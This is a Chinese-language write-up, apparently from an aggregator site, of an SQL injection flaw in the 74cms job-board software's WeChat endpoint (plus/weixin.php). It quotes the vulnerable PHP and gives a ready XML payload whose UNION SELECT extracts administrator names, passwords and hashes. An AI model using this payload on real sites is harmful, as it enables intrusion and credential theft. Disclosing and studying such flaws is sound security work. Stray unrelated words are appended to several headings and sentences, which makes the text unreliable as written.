74cms注入一枚(無視GPC)

版本爲最新的20140808php

0x01代碼分析sql

看到\plus\weixin.php有以下代碼數據庫

public function responseMsg()
    {
        $postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
        if (!empty($postStr))
        {
                
                  $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
                $fromUsername = $postObj->FromUserName;
                $toUsername = $postObj->ToUserName;
                $keyword = trim($postObj->Content);
                $keyword = iconv("utf-8","gb2312",$keyword);
                $time = time();
                $event = trim($postObj->Event);
                if ($event === "subscribe")
                {
                    $word= "回覆j返回緊急招聘,回覆n返回最新招聘!您能夠嘗試輸入職位名稱如「會計」,系統將會返回您要找的信息,咱們努力打造最人性化的服務平臺,謝謝關注。";
                    $text="<xml>
                    <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                    <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                    <CreateTime>".$time."</CreateTime>
                    <MsgType><![CDATA[text]]></MsgType>
                    <Content><![CDATA[".$word."]]></Content>
                    </xml> ";
                    exit($text);                
                }     
                   if (!empty($keyword))
                {
                
                    if($_CFG['sina_apiopen']=='0')
                    {
                            $word="網站微信接口已經關閉";
                            $text="<xml>
                            <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                            <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                            <CreateTime>".$time."</CreateTime>
                            <MsgType><![CDATA[text]]></MsgType>
                            <Content><![CDATA[".$word."]]></Content>
                            </xml> ";
                            exit($text);
                    }
                
                                        $limit=" LIMIT 6";
                                        $orderbysql=" ORDER BY refreshtime DESC";
                                        if($keyword=="n")
                                        {
                                            $jobstable=table('jobs_search_rtime');             
                                        }
                                        else if($keyword=="j")
                                        {
                                            $jobstable=table('jobs_search_rtime');
                                            $wheresql=" where `emergency`=1 ";    
                                        }
                                        else
                                        {
                                        $jobstable=table('jobs_search_key');
                                        $wheresql.=" where likekey LIKE '%{$keyword}%' ";
                                        }
                                        $word='';
                                        $list = $id = array();
                                        $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
                                        while($row = $this->fetch_array($idresult))
                                        {
                                        $id[]=$row['id'];
                                        }
                                        if (!empty($id))
                                        {
                                        $wheresql=" WHERE id IN (".implode(',',$id).") ";
                                        $result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);    
                                            while($row = $this->fetch_array($result))
                                            {
                                            //$row['jobs_url']=url_rewrite('QS_jobsshow',array('id'=>$row['id']));
                                            $row['addtime']=date("Y-m-d",$row['addtime']);
                                            $row['deadline']=date("Y-m-d",$row['deadline']);
                                            $row['refreshtime']=date("Y-m-d",$row['refreshtime']);
                                            $word.="{$row['companyname']}\n招聘職位:{$row['jobs_name']}\n薪金待遇:{$row['wage_cn']}\n招聘人數:{$row['amount']}\n發佈日期:{$row['addtime']}\n截止日期:{$row['deadline']} \n--------------------------\n";
                                            }
                                        }
                                        if(empty($word))
                                        {
                                            $word="沒有找到包含關鍵字 {$keyword} 的信息,試試其餘關鍵字";
                                            $text="<xml>
                                            <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                            <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                            <CreateTime>".$time."</CreateTime>
                                            <MsgType><![CDATA[text]]></MsgType>
                                            <Content><![CDATA[".$word."]]></Content>
                                            </xml> ";
                                            exit($text);
                                        }
                                        else
                                        {
                                                $word=rtrim($word,'/\n');
                                                $word=rtrim($word,'-');
                                                $text="<xml>
                                                <ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
                                                <FromUserName><![CDATA[".$toUsername."]]></FromUserName>
                                                <CreateTime>".$time."</CreateTime>
                                                <MsgType><![CDATA[text]]></MsgType>
                                                <Content><![CDATA[".$word."]]></Content>
                                                </xml> ";
                                                exit($text);
                                        }     
                }
                else 
                {
                exit("");
                }
        }
    }

使用$GLOBALS["HTTP_RAW_POST_DATA"]; 接收參數,這個相似於POST,可是和POST有點點不同。若是提提交a=1,它接收的也是a=1。而後繼續看代碼,咱們傳進來的值通過了simplexml_load_string這個函數,這個函數是用來解析xml的。而後咱們看到$keyword,跟蹤一下$keyword發現直接進入了數據庫。這個中間是沒有任何過濾的。可是,看到有單引號,不過不要緊咱們傳進來的參數的不受GPC影響的。而後如何利用呢?咱們應該構造一個惡意的xml,來進行注入。api

0x02漏洞利用微信

咱們看到$keyword的內容是經過</Content>得到的,那咱們就構造這樣的xmlssh

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xml><Content>1%' union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content>
</xml>

因爲是白盒測試,因此數據庫結構咱們是知道的,而後直接構造exp就行。函數

QQ截圖20140819205334

相關文章
相關標籤/搜索